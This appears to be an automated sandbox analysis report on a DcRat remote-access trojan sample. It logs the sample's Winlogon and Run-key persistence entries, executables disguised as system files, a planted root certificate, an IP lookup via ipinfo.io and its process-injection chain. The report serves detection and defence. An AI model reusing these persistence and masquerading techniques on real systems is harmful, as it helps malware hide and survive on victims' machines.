Malware Analysis Report

2024-12-07 03:34

Sample ID 241113-d6w1psypaq
Target e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1
SHA256 e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1
Tags
dcrat discovery execution infostealer persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1

Threat Level: Known bad

The file e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1 was found to be: Known bad.

Malicious Activity Summary

dcrat discovery execution infostealer persistence rat

Process spawned unexpected child process

DcRat

Dcrat family

Modifies WinLogon for persistence

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Adds Run key to start application

Looks up external IP address via web service

Drops file in System32 directory

Drops file in Program Files directory

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Modifies registry class

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: GetForegroundWindowSpam

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 03:37

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 03:37

Reported

2024-11-13 03:40

Platform

win7-20241010-en

Max time kernel

49s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe"

Signatures

DcRat

rat infostealer dcrat

Dcrat family

dcrat

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\spoolsv.exe\", \"C:\\Program Files (x86)\\Windows Defender\\en-US\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\spoolsv.exe\", \"C:\\Program Files (x86)\\Windows Defender\\en-US\\cmd.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\", \"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Defender\\en-US\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\Idle.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Recovery\\31f19e42-8726-11ef-be9a-dab21757c799\\spoolsv.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Defender\\en-US\\cmd.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created \??\c:\Windows\System32\CSC7CDD1307E47649F298158A29485B2620.TMP C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe N/A
File created \??\c:\Windows\System32\hi5-9c.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\f3b6ecef712a24 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files (x86)\Windows Defender\en-US\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\en-US\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files (x86)\Windows Defender\en-US\ebf1f9fa8afd6d C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\ebf1f9fa8afd6d C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\spoolsv.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\diagnostics\scheduled\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 392 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 392 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 392 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 392 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 2184 wrote to memory of 2872 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2184 wrote to memory of 2872 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2184 wrote to memory of 2872 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2184 wrote to memory of 2872 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 2148 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 2872 wrote to memory of 2148 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 2872 wrote to memory of 2148 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 2872 wrote to memory of 2148 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 2148 wrote to memory of 580 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 2148 wrote to memory of 580 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 2148 wrote to memory of 580 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 580 wrote to memory of 3056 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 580 wrote to memory of 3056 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 580 wrote to memory of 3056 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 2148 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
